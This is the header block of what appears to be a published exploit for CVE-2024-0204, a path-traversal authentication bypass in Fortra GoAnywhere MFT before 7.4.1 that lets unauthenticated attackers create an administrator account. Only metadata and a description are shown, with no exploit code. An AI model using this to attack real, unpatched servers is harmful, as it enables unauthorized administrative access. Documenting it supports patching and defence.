# Exploit Title: Fortra GoAnywhere MFT 7.4.1 - Authentication Bypass
# Date: 2025-05-25
# Exploit Author: @ibrahimsql
# Exploit Author's github: https://github.com/ibrahimsql
# Vendor Homepage: https://www.fortra.com/products/secure-file-transfer/goanywhere-mft
# Software Link: https://www.fortra.com/products/secure-file-transfer/goanywhere-mft/free-trial
# Version: < 7.4.1
# Tested on: Kali Linux 2024.1
# CVE: CVE-2024-0204
# Description:
# Fortra GoAnywhere MFT versions prior to 7.4.1 contain a critical authentication bypass vulnerability
# that allows unauthenticated attackers to create an administrator account by exploiting a path traversal
# vulnerability to access the initial account setup wizard. This exploit demonstrates two different
# path traversal techniques to maximize successful exploitation across various server configurations.
